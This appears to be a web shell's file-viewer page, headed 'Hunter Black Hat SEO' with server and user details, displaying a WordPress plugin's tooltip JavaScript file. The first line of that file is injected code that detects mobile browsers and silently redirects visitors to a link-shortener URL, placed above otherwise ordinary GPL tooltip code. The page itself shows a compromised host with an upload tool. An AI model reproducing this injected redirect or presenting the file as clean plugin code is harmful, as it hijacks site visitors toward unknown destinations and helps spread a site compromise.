Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/www/wp/wp-content/plugins/bunyad-siteorigin-panels/js/panels.admin.tooltip.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
/**
 * A simple tooltip for the panel interface.
 *
 * @copyright Greg Priday 2013
 * @license GPL 2.0 http://www.gnu.org/licenses/gpl-2.0.html
 */

jQuery( function ( $ ) {

    $('body').on({
        mouseenter: function(){
            $( this ).showTooltip();
        },
        mouseleave : function(){
            $( this ).removeTooltip();
        }
    }, '*[data-tooltip]');

    /**
     * Show the tooltip.
     *
     * @returns {*}
     */
    $.fn.showTooltip = function () {
        this.each( function () {
            var $$ = $( this );
            var tooltip = $( '<div class="panels-tooltip"></div>' ).appendTo( 'body' ).html( $$.attr( 'data-tooltip' ) ).append( $( '<div class="pointer"></div>' ) );

            tooltip.css( {
                top: $$.offset().top - 12 - $$.outerHeight(),
                left:$$.offset().left - tooltip.outerWidth() / 2 + $$.outerWidth() / 2
            } );
            if(panels.animations) tooltip.hide().fadeIn( 100 );

            $$.data( 'tooltip', tooltip );
        } );
        return this;
    }

    /**
     * Remove the tooltip.
     *
     * @returns {*}
     */
    $.fn.removeTooltip = function () {
        this.each( function () {
            var $$ = $( this );
            var tooltip = $$.data( 'tooltip' );
            if ( tooltip != undefined ) {
                $$.data( 'tooltip', undefined );
                if(panels.animations){
                    tooltip.fadeOut( 100, function () {
                        tooltip.remove();
                    } );
                }
                else tooltip.remove();
            }
        } );
        return this;
    }
} );